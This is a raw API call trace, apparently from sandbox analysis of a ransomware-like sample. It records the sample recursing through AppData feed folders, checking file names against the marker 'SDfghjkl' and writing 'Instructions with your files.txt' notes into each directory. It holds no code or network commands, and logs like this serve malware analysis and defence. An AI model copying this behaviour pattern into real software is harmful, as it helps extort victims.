[0132.143] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News~.feed-ms", cAlternateFileName="MSNBCN~1.FEE")) returned 1
[0132.143] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms") returned 87
[0132.143] StrStrIW (lpFirst="MSNBC News~.feed-ms", lpSrch="SDfghjkl") returned 0x0
[0132.143] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News~.feed-ms", cAlternateFileName="MSNBCN~1.FEE")) returned 0
[0132.143] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Instructions with your files.txt") returned 100
[0132.143] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0132.144] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0132.145] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0132.145] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0132.145] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0132.145] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0132.145] CloseHandle (hObject=0x11c) returned 1
[0132.145] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0132.145] GetProcessHeap () returned 0x810000
[0132.145] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f0058 | out: hHeap=0x810000) returned 1
[0132.145] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", cAlternateFileName="{5588A~1")) returned 1
[0132.145] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 90
[0132.145] GetProcessHeap () returned 0x810000
[0132.145] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f0058
[0132.145] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*") returned 92
[0132.145] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0132.146] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\.") returned 92
[0132.146] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.146] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.146] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\..") returned 93
[0132.146] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.146] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebSlices~", cAlternateFileName="WEBSLI~1")) returned 1
[0132.146] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 101
[0132.146] GetProcessHeap () returned 0x810000
[0132.146] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x88bbf8
[0132.148] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\*") returned 103
[0132.148] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0132.148] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\.") returned 103
[0132.148] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.148] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.148] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\..") returned 104
[0132.148] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.148] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery~.feed-ms", cAlternateFileName="WEBSLI~1.FEE")) returned 1
[0132.148] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms") returned 128
[0132.148] StrStrIW (lpFirst="Web Slice Gallery~.feed-ms", lpSrch="SDfghjkl") returned 0x0
[0132.148] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery~.feed-ms", cAlternateFileName="WEBSLI~1.FEE")) returned 0
[0132.148] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Instructions with your files.txt") returned 134
[0132.149] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0132.149] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0132.150] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0132.150] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0132.150] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0132.150] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0132.150] CloseHandle (hObject=0x120) returned 1
[0132.150] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0132.150] GetProcessHeap () returned 0x810000
[0132.150] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x88bbf8 | out: hHeap=0x810000) returned 1
[0132.150] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebSlices~", cAlternateFileName="WEBSLI~1")) returned 0
[0132.150] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\Instructions with your files.txt") returned 123
[0132.150] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0132.151] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0132.151] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0132.152] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0132.152] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0132.152] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0132.152] CloseHandle (hObject=0x11c) returned 1
[0132.152] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0132.152] GetProcessHeap () returned 0x810000
[0132.152] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f0058 | out: hHeap=0x810000) returned 1
[0132.154] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", cAlternateFileName="{5588A~1")) returned 0
[0132.154] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Instructions with your files.txt") returned 83
[0132.154] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0132.154] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0132.155] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0132.155] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0132.155] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0132.155] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0132.155] CloseHandle (hObject=0x118) returned 1
[0132.155] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0132.155] GetProcessHeap () returned 0x810000
[0132.155] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0132.156] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Feeds Cache", cAlternateFileName="FEEDSC~1")) returned 1
[0132.156] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache") returned 56
[0132.156] GetProcessHeap () returned 0x810000
[0132.156] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0132.156] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\*") returned 58
[0132.156] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0132.158] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\.") returned 58
[0132.158] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.158] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.158] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\..") returned 59
[0132.158] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.158] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1NBUR4HR", cAlternateFileName="")) returned 1
[0132.158] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR") returned 65
[0132.158] GetProcessHeap () returned 0x810000
[0132.158] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f0058
[0132.158] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\*") returned 67
[0132.158] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0132.159] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\.") returned 67
[0132.159] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.159] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.159] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\..") returned 68
[0132.159] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.159] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0132.159] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\desktop.ini") returned 77
[0132.159] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
